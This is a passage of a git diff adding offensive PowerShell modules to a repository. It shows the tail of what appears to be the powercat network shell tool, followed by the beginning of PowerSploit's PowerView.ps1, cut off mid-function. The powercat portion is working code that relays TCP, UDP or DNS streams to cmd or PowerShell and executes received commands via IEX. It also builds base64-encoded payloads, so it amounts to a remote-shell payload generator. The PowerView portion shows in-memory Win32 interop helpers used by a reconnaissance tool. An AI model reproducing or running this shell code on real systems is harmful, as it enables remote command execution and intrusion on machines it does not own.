$FuncVars["Process"].StandardOutput.BaseStream.BeginRead($FuncVars["StdOutDestinationBuffer"], 0, 65536, $null, $null) + } + if($FuncVars["StdErrReadOperation"].IsCompleted) + { + $StdErrBytesRead = $FuncVars["Process"].StandardError.BaseStream.EndRead($FuncVars["StdErrReadOperation"]) + if($StdErrBytesRead -eq 0){break} + $Data += $FuncVars["StdErrDestinationBuffer"][0..([int]$StdErrBytesRead-1)] + $FuncVars["StdErrReadOperation"] = $FuncVars["Process"].StandardError.BaseStream.BeginRead($FuncVars["StdErrDestinationBuffer"], 0, 65536, $null, $null) + } + return $Data,$FuncVars + } + function WriteData_CMD + { + param($Data,$FuncVars) + $FuncVars["Process"].StandardInput.WriteLine($FuncVars["Encoding"].GetString($Data).TrimEnd("`r").TrimEnd("`n")) + return $FuncVars + } + function Close_CMD + { + param($FuncVars) + $FuncVars["Process"] | Stop-Process + } + ########## CMD FUNCTIONS ########## + + ########## POWERSHELL FUNCTIONS ########## + function Main_Powershell + { + param($Stream1SetupVars) + try + { + $encoding = New-Object System.Text.AsciiEncoding + [byte[]]$InputToWrite = @() + if($i -ne $null) + { + Write-Verbose "Input from -i detected..." + if($i.GetType().Name -eq "Byte[]"){ [byte[]]$InputToWrite = $i } + elseif($i.GetType().Name -eq "String"){ [byte[]]$InputToWrite = $Encoding.GetBytes($i) } + else{Write-Host "Unrecognised input type." ; return} + } + + Write-Verbose "Setting up Stream 1... (ESC/CTRL to exit)" + try{$Stream1Vars = Stream1_Setup $Stream1SetupVars} + catch{Write-Verbose "Stream 1 Setup Failure" ; return} + + Write-Verbose "Setting up Stream 2... (ESC/CTRL to exit)" + try + { + $IntroPrompt = $Encoding.GetBytes("Windows PowerShell`nCopyright (C) 2013 Microsoft Corporation. All rights reserved.`n`n" + ("PS " + (pwd).Path + "> ")) + $Prompt = ("PS " + (pwd).Path + "> ") + $CommandToExecute = "" + $Data = $null + } + catch + { + Write-Verbose "Stream 2 Setup Failure" ; return + } + + if($InputToWrite -ne @()) + { + Write-Verbose "Writing input to Stream 1..." + try{$Stream1Vars = Stream1_WriteData $InputToWrite $Stream1Vars} + catch{Write-Host "Failed to write input to Stream 1" ; return} + } + + if($d){Write-Verbose "-d (disconnect) Activated. Disconnecting..." ; return} + + Write-Verbose "Both Communication Streams Established. Redirecting Data Between Streams..." + while($True) + { + try + { + ##### Stream2 Read ##### + $Prompt = $null + $ReturnedData = $null + if($CommandToExecute -ne "") + { + try{[byte[]]$ReturnedData = $Encoding.GetBytes((IEX $CommandToExecute 2>&1 | Out-String))} + catch{[byte[]]$ReturnedData = $Encoding.GetBytes(($_ | Out-String))} + $Prompt = $Encoding.GetBytes(("PS " + (pwd).Path + "> ")) + } + $Data += $IntroPrompt + $IntroPrompt = $null + $Data += $ReturnedData + $Data += $Prompt + $CommandToExecute = "" + ##### Stream2 Read ##### + + if($Data -ne $null){$Stream1Vars = Stream1_WriteData $Data $Stream1Vars} + $Data = $null + } + catch + { + Write-Verbose "Failed to redirect data from Stream 2 to Stream 1" ; return + } + + try + { + $Data,$Stream1Vars = Stream1_ReadData $Stream1Vars + if($Data.Length -eq 0){Start-Sleep -Milliseconds 100} + if($Data -ne $null){$CommandToExecute = $Encoding.GetString($Data)} + $Data = $null + } + catch + { + Write-Verbose "Failed to redirect data from Stream 1 to Stream 2" ; return + } + } + } + finally + { + try + { + Write-Verbose "Closing Stream 1..." + Stream1_Close $Stream1Vars + } + catch + { + Write-Verbose "Failed to close Stream 1" + } + } + } + ########## POWERSHELL FUNCTIONS ########## + + ########## CONSOLE FUNCTIONS ########## + function Setup_Console + { + param($FuncSetupVars) + $FuncVars = @{} + $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding + $FuncVars["Output"] = $FuncSetupVars[0] + $FuncVars["OutputBytes"] = [byte[]]@() + $FuncVars["OutputString"] = "" + return $FuncVars + } + function ReadData_Console + { + param($FuncVars) + $Data = $null + if($Host.UI.RawUI.KeyAvailable) + { + $Data = $FuncVars["Encoding"].GetBytes((Read-Host) + "`n") + } + return $Data,$FuncVars + } + function WriteData_Console + { + param($Data,$FuncVars) + switch($FuncVars["Output"]) + { + "Host" {Write-Host -n $FuncVars["Encoding"].GetString($Data)} + "String" {$FuncVars["OutputString"] += $FuncVars["Encoding"].GetString($Data)} + "Bytes" {$FuncVars["OutputBytes"] += $Data} + } + return $FuncVars + } + function Close_Console + { + param($FuncVars) + if($FuncVars["OutputString"] -ne ""){return $FuncVars["OutputString"]} + elseif($FuncVars["OutputBytes"] -ne @()){return $FuncVars["OutputBytes"]} + return + } + ########## CONSOLE FUNCTIONS ########## + + ########## MAIN FUNCTION ########## + function Main + { + param($Stream1SetupVars,$Stream2SetupVars) + try + { + [byte[]]$InputToWrite = @() + $Encoding = New-Object System.Text.AsciiEncoding + if($i -ne $null) + { + Write-Verbose "Input from -i detected..." + if($i.GetType().Name -eq "Byte[]"){ [byte[]]$InputToWrite = $i } + elseif($i.GetType().Name -eq "String"){ [byte[]]$InputToWrite = $Encoding.GetBytes($i) } + else{Write-Host "Unrecognised input type." ; return} + } + + Write-Verbose "Setting up Stream 1..." + try{$Stream1Vars = Stream1_Setup $Stream1SetupVars} + catch{Write-Verbose "Stream 1 Setup Failure" ; return} + + Write-Verbose "Setting up Stream 2..." + try{$Stream2Vars = Stream2_Setup $Stream2SetupVars} + catch{Write-Verbose "Stream 2 Setup Failure" ; return} + + $Data = $null + + if($InputToWrite -ne @()) + { + Write-Verbose "Writing input to Stream 1..." + try{$Stream1Vars = Stream1_WriteData $InputToWrite $Stream1Vars} + catch{Write-Host "Failed to write input to Stream 1" ; return} + } + + if($d){Write-Verbose "-d (disconnect) Activated. Disconnecting..." ; return} + + Write-Verbose "Both Communication Streams Established. Redirecting Data Between Streams..." + while($True) + { + try + { + $Data,$Stream2Vars = Stream2_ReadData $Stream2Vars + if(($Data.Length -eq 0) -or ($Data -eq $null)){Start-Sleep -Milliseconds 100} + if($Data -ne $null){$Stream1Vars = Stream1_WriteData $Data $Stream1Vars} + $Data = $null + } + catch + { + Write-Verbose "Failed to redirect data from Stream 2 to Stream 1" ; return + } + + try + { + $Data,$Stream1Vars = Stream1_ReadData $Stream1Vars + if(($Data.Length -eq 0) -or ($Data -eq $null)){Start-Sleep -Milliseconds 100} + if($Data -ne $null){$Stream2Vars = Stream2_WriteData $Data $Stream2Vars} + $Data = $null + } + catch + { + Write-Verbose "Failed to redirect data from Stream 1 to Stream 2" ; return + } + } + } + finally + { + try + { + #Write-Verbose "Closing Stream 2..." + Stream2_Close $Stream2Vars + } + catch + { + Write-Verbose "Failed to close Stream 2" + } + try + { + #Write-Verbose "Closing Stream 1..." + Stream1_Close $Stream1Vars + } + catch + { + Write-Verbose "Failed to close Stream 1" + } + } + } + ########## MAIN FUNCTION ########## + + ########## GENERATE PAYLOAD ########## + if($u) + { + Write-Verbose "Set Stream 1: UDP" + $FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_UDP} + "`n}`n`n") + $FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_UDP} + "`n}`n`n") + $FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_UDP} + "`n}`n`n") + $FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_UDP} + "`n}`n`n") + if($l){$InvokeString = "Main @('',`$True,'$p','$t') "} + else{$InvokeString = "Main @('$c',`$False,'$p','$t') "} + } + elseif($dns -ne "") + { + Write-Verbose "Set Stream 1: DNS" + $FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_DNS} + "`n}`n`n") + $FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_DNS} + "`n}`n`n") + $FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_DNS} + "`n}`n`n") + $FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_DNS} + "`n}`n`n") + if($l){return "This feature is not available."} + else{$InvokeString = "Main @('$c','$p','$dns',$dnsft) "} + } + else + { + Write-Verbose "Set Stream 1: TCP" + $FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_TCP} + "`n}`n`n") + $FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_TCP} + "`n}`n`n") + $FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_TCP} + "`n}`n`n") + $FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_TCP} + "`n}`n`n") + if($l){$InvokeString = "Main @('',`$True,$p,$t) "} + else{$InvokeString = "Main @('$c',`$False,$p,$t) "} + } + + if($e -ne "") + { + Write-Verbose "Set Stream 2: Process" + $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_CMD} + "`n}`n`n") + $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_CMD} + "`n}`n`n") + $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_CMD} + "`n}`n`n") + $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_CMD} + "`n}`n`n") + $InvokeString += "@('$e')`n`n" + } + elseif($ep) + { + Write-Verbose "Set Stream 2: Powershell" + $InvokeString += "`n`n" + } + elseif($r -ne "") + { + if($r.split(":")[0].ToLower() -eq "udp") + { + Write-Verbose "Set Stream 2: UDP" + $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_UDP} + "`n}`n`n") + $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_UDP} + "`n}`n`n") + $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_UDP} + "`n}`n`n") + $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_UDP} + "`n}`n`n") + if($r.split(":").Count -eq 2){$InvokeString += ("@('',`$True,'" + $r.split(":")[1] + "','$t') ")} + elseif($r.split(":").Count -eq 3){$InvokeString += ("@('" + $r.split(":")[1] + "',`$False,'" + $r.split(":")[2] + "','$t') ")} + else{return "Bad relay format."} + } + if($r.split(":")[0].ToLower() -eq "dns") + { + Write-Verbose "Set Stream 2: DNS" + $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_DNS} + "`n}`n`n") + $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_DNS} + "`n}`n`n") + $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_DNS} + "`n}`n`n") + $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_DNS} + "`n}`n`n") + if($r.split(":").Count -eq 2){return "This feature is not available."} + elseif($r.split(":").Count -eq 4){$InvokeString += ("@('" + $r.split(":")[1] + "','" + $r.split(":")[2] + "','" + $r.split(":")[3] + "',$dnsft) ")} + else{return "Bad relay format."} + } + elseif($r.split(":")[0].ToLower() -eq "tcp") + { + Write-Verbose "Set Stream 2: TCP" + $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_TCP} + "`n}`n`n") + $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_TCP} + "`n}`n`n") + $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_TCP} + "`n}`n`n") + $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_TCP} + "`n}`n`n") + if($r.split(":").Count -eq 2){$InvokeString += ("@('',`$True,'" + $r.split(":")[1] + "','$t') ")} + elseif($r.split(":").Count -eq 3){$InvokeString += ("@('" + $r.split(":")[1] + "',`$False,'" + $r.split(":")[2] + "','$t') ")} + else{return "Bad relay format."} + } + } + else + { + Write-Verbose "Set Stream 2: Console" + $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_Console} + "`n}`n`n") + $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_Console} + "`n}`n`n") + $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_Console} + "`n}`n`n") + $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_Console} + "`n}`n`n") + $InvokeString += ("@('" + $o + "')") + } + + if($ep){$FunctionString += ("function Main`n{`n" + ${function:Main_Powershell} + "`n}`n`n")} + else{$FunctionString += ("function Main`n{`n" + ${function:Main} + "`n}`n`n")} + $InvokeString = ($FunctionString + $InvokeString) + ########## GENERATE PAYLOAD ########## + + ########## RETURN GENERATED PAYLOADS ########## + if($ge){Write-Verbose "Returning Encoded Payload..." ; return [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($InvokeString))} + elseif($g){Write-Verbose "Returning Payload..." ; return $InvokeString} + ########## RETURN GENERATED PAYLOADS ########## + + ########## EXECUTION ########## + $Output = $null + try + { + if($rep) + { + while($True) + { + $Output += IEX $InvokeString + Start-Sleep -s 2 + Write-Verbose "Repetition Enabled: Restarting..." + } + } + else + { + $Output += IEX $InvokeString + } + } + finally + { + if($Output -ne $null) + { + if($of -eq ""){$Output} + else{[io.file]::WriteAllBytes($of,$Output)} + } + } + ########## EXECUTION ########## +} diff --git a/Modules/powerview.ps1 b/Modules/powerview.ps1 new file mode 100644 index 0000000..4252598 --- /dev/null +++ b/Modules/powerview.ps1 @@ -0,0 +1,20473 @@ +#requires -version 2 + +<# + +PowerSploit File: PowerView.ps1 +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +#> + + +######################################################## +# +# PSReflect code for Windows API access +# Author: @mattifestation +# https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1 +# +######################################################## + +function New-InMemoryModule { +<# +.SYNOPSIS + +Creates an in-memory assembly and module + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +When defining custom enums, structs, and unmanaged functions, it is +necessary to associate to an assembly module. This helper function +creates an in-memory module that can be passed to the 'enum', +'struct', and Add-Win32Type functions. + +.PARAMETER ModuleName + +Specifies the desired name for the in-memory assembly and module. If +ModuleName is not provided, it will default to a GUID. + +.EXAMPLE + +$Module = New-InMemoryModule -ModuleName Win32 +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0)] + [ValidateNotNullOrEmpty()] + [String] + $ModuleName = [Guid]::NewGuid().ToString() + ) + + $AppDomain = [Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @()) + $LoadedAssemblies = $AppDomain.GetAssemblies() + + foreach ($Assembly in $LoadedAssemblies) { + if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) { + return $Assembly + } + } + + $DynAssembly = New-Object Reflection.AssemblyName($ModuleName) + $Domain = $AppDomain + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run') + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False) + + return $ModuleBuilder +} + + +# A helper function used to reduce typing while defining function +# prototypes for Add-Win32Type. +function func { + Param ( + [Parameter(Position = 0, Mandatory = $True)] + [String] + $DllName, + + [Parameter(Position = 1, Mandatory = $True)] + [string] + $FunctionName, + + [Parameter(Position = 2, Mandatory = $True)] + [Type] + $ReturnType, + + [Parameter(Position = 3)] + [Type[]] + $ParameterTypes, + + [Parameter(Position = 4)] + [Runtime.InteropServices.CallingConvention] + $NativeCallingConvention, + + [Parameter(Position = 5)] + [Runtime.InteropServices.CharSet] + $Charset, + + [String] + $EntryPoint, + + [Switch] + $SetLastError + ) + + $Properties = @{ + DllName = $DllName + FunctionName = $FunctionName + ReturnType = $ReturnType + } + + if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes } + if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention } + if ($Charset) { $Properties['Charset'] = $Charset } + if ($SetLastError) { $Properties['SetLastError'] = $SetLastError } + if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint } + + New-Object PSObject -Property $Properties +} + + +function Add-Win32Type +{ +<# +.SYNOPSIS + +Creates a .NET type for an unmanaged Win32 function. + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: func + +.DESCRIPTION + +Add-Win32Type enables you to easily interact with unmanaged (i.e. +Win32 unmanaged) functions in PowerShell. After providing +Add-Win32Type with a function signature, a .NET type is created +using reflection (i.e. csc.exe is never called like with Add-Type). + +The 'func' helper function can be used to reduce typing when defining +multiple function definitions. + +.PARAMETER DllName + +The name of the DLL. + +.PARAMETER FunctionName + +The name of the target function. + +.PARAMETER EntryPoint + +The DLL export function name. This argument should be specified if the +specified function name is different than the name of the exported +function. + +.PARAMETER ReturnType + +The return type of the function. + +.PARAMETER ParameterTypes + +The function parameters. + +.PARAMETER NativeCallingConvention + +Specifies the native calling convention of the function. Defaults to +stdcall. + +.PARAMETER Charset + +If you need to explicitly call an 'A' or 'W' Win32 function, you can +specify the character set. + +.PARAMETER SetLastError + +Indicates whether the callee calls the SetLastError Win32 API +function before returning from the attributed method. + +.PARAMETER Module + +The in-memory module that will host the functions. Use +New-InMemoryModule to define an in-memory module. + +.PARAMETER Namespace + +An optional namespace to prepend to the type. Add-Win32Type defaults +to a namespace consisting only of the name of the DLL. + +.EXAMPLE + +$Mod = New-InMemoryModule -ModuleName Win32 + +$FunctionDefinitions = @( + (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError), + (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError), + (func ntdll RtlGetCurrentPeb ([IntPtr]) @()) +) + +$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' +$Kernel32 = $Types['kernel32'] +$Ntdll = $Types['ntdll'] +$Ntdll::RtlGetCurrentPeb() +$ntdllbase = $Kernel32::GetModuleHandle('ntdll') +$Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb') + +.NOTES + +Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189 + +When defining multiple function prototypes, it is ideal to provide +Add-Win32Type with an array of function signatures. That way, they +are all incorporated into the same in-memory module. +#> + + [OutputType([Hashtable])] + Param( + [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] + [String] + $DllName, + + [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] + [String] + $FunctionName, + + [Parameter(ValueFromPipelineByPropertyName=$True)] + [String] + $EntryPoint, + + [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] + [Type] + $ReturnType, + + [Parameter(ValueFromPipelineByPropertyName=$True)] + [Type[]] + $ParameterTypes, + + [Parameter(ValueFromPipelineByPropertyName=$True)] + [Runtime.InteropServices.CallingConvention] + $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall, + + [Parameter(ValueFromPipelineByPropertyName=$True)] + [Runtime.InteropServices.CharSet] + $Charset = [Runtime.InteropServices.CharSet]::Auto, + + [Parameter(ValueFromPipelineByPropertyName=$True)] + [Switch] + $SetLastError, + + [Parameter(Mandatory=$True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, + + [ValidateNotNull()] + [String] + $Namespace = '' + ) + + BEGIN + { + $TypeHash = @{} + } + + PROCESS + { + if ($Module -is [Reflection.Assembly]) + { + if ($Namespace) + { + $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName") + } + else + { + $TypeHash[$DllName] = $Module.GetType($DllName) + } + } + else + { + # Define one type for each DLL + if (!$TypeHash.ContainsKey($DllName)) + { + if ($Namespace) + { + $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit') + } + else + { + $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit') + } + } + + $Method = $TypeHash[$DllName].DefineMethod( + $FunctionName, + 'Public,Static,PinvokeImpl', + $ReturnType, + $ParameterTypes) + + # Make each ByRef parameter an Out parameter + $i = 1 + foreach($Parameter in $ParameterTypes) + { + if ($Parameter.IsByRef) + { + [void] $Method.DefineParameter($i, 'Out', $null) + } + + $i++ + } + + $DllImport = [Runtime.InteropServices.DllImportAttribute] + $SetLastErrorField = $DllImport.GetField('SetLastError') + $CallingConventionField = $DllImport.GetField('CallingConvention') + $CharsetField = $DllImport.GetField('CharSet') + $EntryPointField = $DllImport.GetField('EntryPoint') + if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False } + + if ($PSBoundParameters['EntryPoint']) { $ExportedFuncName = $EntryPoint } else { $ExportedFuncName = $FunctionName } + + # Equivalent to C# version of [DllImport(DllName)] + $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String]) + $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor, + $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(), + [Reflection.FieldInfo[]] @($SetLastErrorField, + $CallingConventionField, + $CharsetField, + $EntryPointField), + [Object[]] @($SLEValue, + ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), + ([Runtime.InteropServices.CharSet] $Charset), + $ExportedFuncName)) + + $Method.SetCustomAttribute($DllImportAttribute) + } + } + + END + { + if ($Module -is [Reflection.Assembly]) + { + return $TypeHash + } + + $ReturnTypes = @{} + + foreach ($Key in $TypeHash.Keys) + { + $Type = $TypeHash[$Key].CreateType() + + $ReturnTypes[$Key] = $Type + } + + return $ReturnTypes + } +} + + +function psenum { +<# +.SYNOPSIS + +Creates an in-memory enumeration for use in your PowerShell session. + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +The 'psenum' function facilitates the creation of enums entirely in +memory using as close to a "C style" as PowerShell will allow. + +.PARAMETER Module + +The in-memory module that will host the enum. Use +New-InMemoryModule to define an in-memory module. + +.PARAMETER FullName + +The fully-qualified name of the enum. + +.PARAMETER Type + +The type of each enum element. + +.PARAMETER EnumElements + +A hashtable of enum elements. + +.PARAMETER Bitfield + +Specifies that the enum should be treated as a bitfield. + +.EXAMPLE + +$Mod = New-InMemoryModule -ModuleName Win32 + +$ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{ + UNKNOWN = 0 + NATIVE = 1 # Image doesn't require a subsystem. + WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem. + WINDOWS_CUI = 3 # Image runs in the Windows character subsystem. + OS2_CUI = 5 # Image runs in the OS/2 character subsystem. + POSIX_CUI = 7 # Image runs in the Posix character subsystem. + NATIVE_WINDOWS = 8 # Image is a native Win9x driver. + WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem. + EFI_APPLICATION = 10 + EFI_BOOT_SERVICE_DRIVER = 11 + EFI_RUNTIME_DRIVER = 12 + EFI_ROM = 13 + XBOX = 14 + WINDOWS_BOOT_APPLICATION = 16 +} + +.NOTES + +PowerShell purists may disagree with the naming of this function but +again, this was developed in such a way so as to emulate a "C style" +definition as closely as possible. Sorry, I'm not going to name it +New-Enum. :P +#> + + [OutputType([Type])] + Param ( + [Parameter(Position = 0, Mandatory=$True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, + + [Parameter(Position = 1, Mandatory=$True)] + [ValidateNotNullOrEmpty()] + [String] + $FullName, + + [Parameter(Position = 2, Mandatory=$True)] + [Type] + $Type, + + [Parameter(Position = 3, Mandatory=$True)] + [ValidateNotNullOrEmpty()] + [Hashtable] + $EnumElements, + + [Switch] + $Bitfield + ) + + if ($Module -is [Reflection.Assembly]) + { + return ($Module.GetType($FullName)) + } + + $EnumType = $Type -as [Type] + + $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType) + + if ($Bitfield) + { + $FlagsConstructor = [FlagsAttribute].GetConstructor(@()) + $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @()) + $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) + } + + foreach ($Key in $EnumElements.Keys) + { + # Apply the specified enum type to each element + $null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType) + } + + $EnumBuilder.CreateType() +} + + +# A helper function used to reduce typing while defining struct +# fields. +function field { + Param ( + [Parameter(Position = 0, Mandatory=$True)] + [UInt16] + $Position, + + [Parameter(Position = 1, Mandatory=$True)] + [Type] + $Type, + + [Parameter(Position = 2)] + [UInt16] + $Offset, + + [Object[]] + $MarshalAs + ) + + @{ + Position = $Position + Type = $Type -as [Type] + Offset = $Offset + MarshalAs = $MarshalAs + } +} + + +function struct +{ +<# +.SYNOPSIS + +Creates an in-memory struct for use in your PowerShell session. + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: field + +.DESCRIPTION + +The 'struct' function facilitates the creation of structs entirely in +memory using as close to a "C style" as PowerShell will allow. Struct +fields are specified using a hashtable where each field of the struct +is comprosed of the order in which it should be defined, its .NET +type, and optionally, its offset and special marshaling attributes. + +One of the features of 'struct' is that after your struct is defined, +it will come with a built-in GetSize method as well as an explicit +converter so that you can easily cast an IntPtr to the struct without +relying upon calling SizeOf and/or PtrToStructure in the Marshal +class. + +.PARAMETER Module + +The in-memory module that will host the struct. Use +New-InMemoryModule to define an in-memory module. + +.PARAMETER FullName + +The fully-qualified name of the struct. + +.PARAMETER StructFields + +A hashtable of fields. Use the 'field' helper function to ease +defining each field. + +.PARAMETER PackingSize + +Specifies the memory alignment of fields. + +.PARAMETER ExplicitLayout + +Indicates that an explicit offset for each field will be specified. + +.EXAMPLE + +$Mod = New-InMemoryModule -ModuleName Win32 + +$ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{ + DOS_SIGNATURE = 0x5A4D + OS2_SIGNATURE = 0x454E + OS2_SIGNATURE_LE = 0x454C + VXD_SIGNATURE = 0x454C +} + +$ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{ + e_magic = field 0 $ImageDosSignature + e_cblp = field 1 UInt16 + e_cp = field 2 UInt16 + e_crlc = field 3 UInt16 + e_cparhdr = field 4 UInt16 + e_minalloc = field 5 UInt16 + e_maxalloc = field 6 UInt16 + e_ss = field 7 UInt16 + e_sp = field 8 UInt16 + e_csum = field 9 UInt16 + e_ip = field 10 UInt16 + e_cs = field 11 UInt16 + e_lfarlc = field 12 UInt16 + e_ovno = field 13 UInt16 + e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4) + e_oemid = field 15 UInt16 + e_oeminfo = field 16 UInt16 + e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10) + e_lfanew = field 18 Int32 +} + +# Example of using an explicit layout in order to create a union. +$TestUnion = struct $Mod TestUnion @{ + field1 = field 0 UInt32 0 + field2 = field 1 IntPtr 0 +} -ExplicitLayout + +.NOTES + +PowerShell purists may disagree with the naming of this function but +again, this was developed in such a way so as to emulate a "C style" +definition as closely as possible. Sorry, I'm not going to name it +New-Struct. :P +#> + + [OutputType([Type])] + Param ( + [Parameter(Position = 1, Mandatory=$True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, + + [Parameter(Position = 2, Mandatory=$True)] + [ValidateNotNullOrEmpty()] + [String] + $FullName, + + [Parameter(Position = 3, Mandatory=$True)] + [ValidateNotNullOrEmpty()] + [Hashtable] + $StructFields, + + [Reflection.Emit.PackingSize] + $PackingSize = [Reflection.Emit.PackingSize]::Unspecified, + + [Switch] + $ExplicitLayout + ) + + if ($Module -is [Reflection.Assembly]) + { + return ($Module.GetType($FullName)) + } + + [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass, + Class, + Public, + Sealed, + BeforeFieldInit' + + if ($ExplicitLayout) + { + $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout + } + else + { + $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout + } + + $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize) + $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + + $Fields = New-Object Hashtable[]($StructFields.Count) + + # Sort each field according to the orders specified + # Unfortunately, PSv2 doesn't have the luxury of the + # hashtable [Ordered] accelerator. + foreach ($Field in $StructFields.Keys) + { + $Index = $StructFields[$Field]['Position'] + $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]} + } + + foreach ($Field in $Fields) + { + $FieldName = $Field['FieldName'] + $FieldProp = $Field['Properties'] + + $Offset = $FieldProp['Offset'] + $Type = $FieldProp['Type'] + $MarshalAs = $FieldProp['MarshalAs'] + + $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public') + + if ($MarshalAs) + { + $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType]) + if ($MarshalAs[1]) + { + $Size = $MarshalAs[1] + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, + $UnmanagedType, $SizeConst, @($Size)) + } + else + { + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType)) + } + + $NewField.SetCustomAttribute($AttribBuilder) + } + + if ($ExplicitLayout) { $NewField.SetOffset($Offset) } + } + + # Make the struct aware of its own size. + # No more having to call [Runtime.InteropServices.Marshal]::SizeOf! + $SizeMethod = $StructBuilder.DefineMethod('GetSize', + 'Public, Static', + [Int], + [Type[]] @()) + $ILGenerator = $SizeMethod.GetILGenerator() + # Thanks for the help, Jason Shirk! + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, + [Type].GetMethod('GetTypeFromHandle')) + 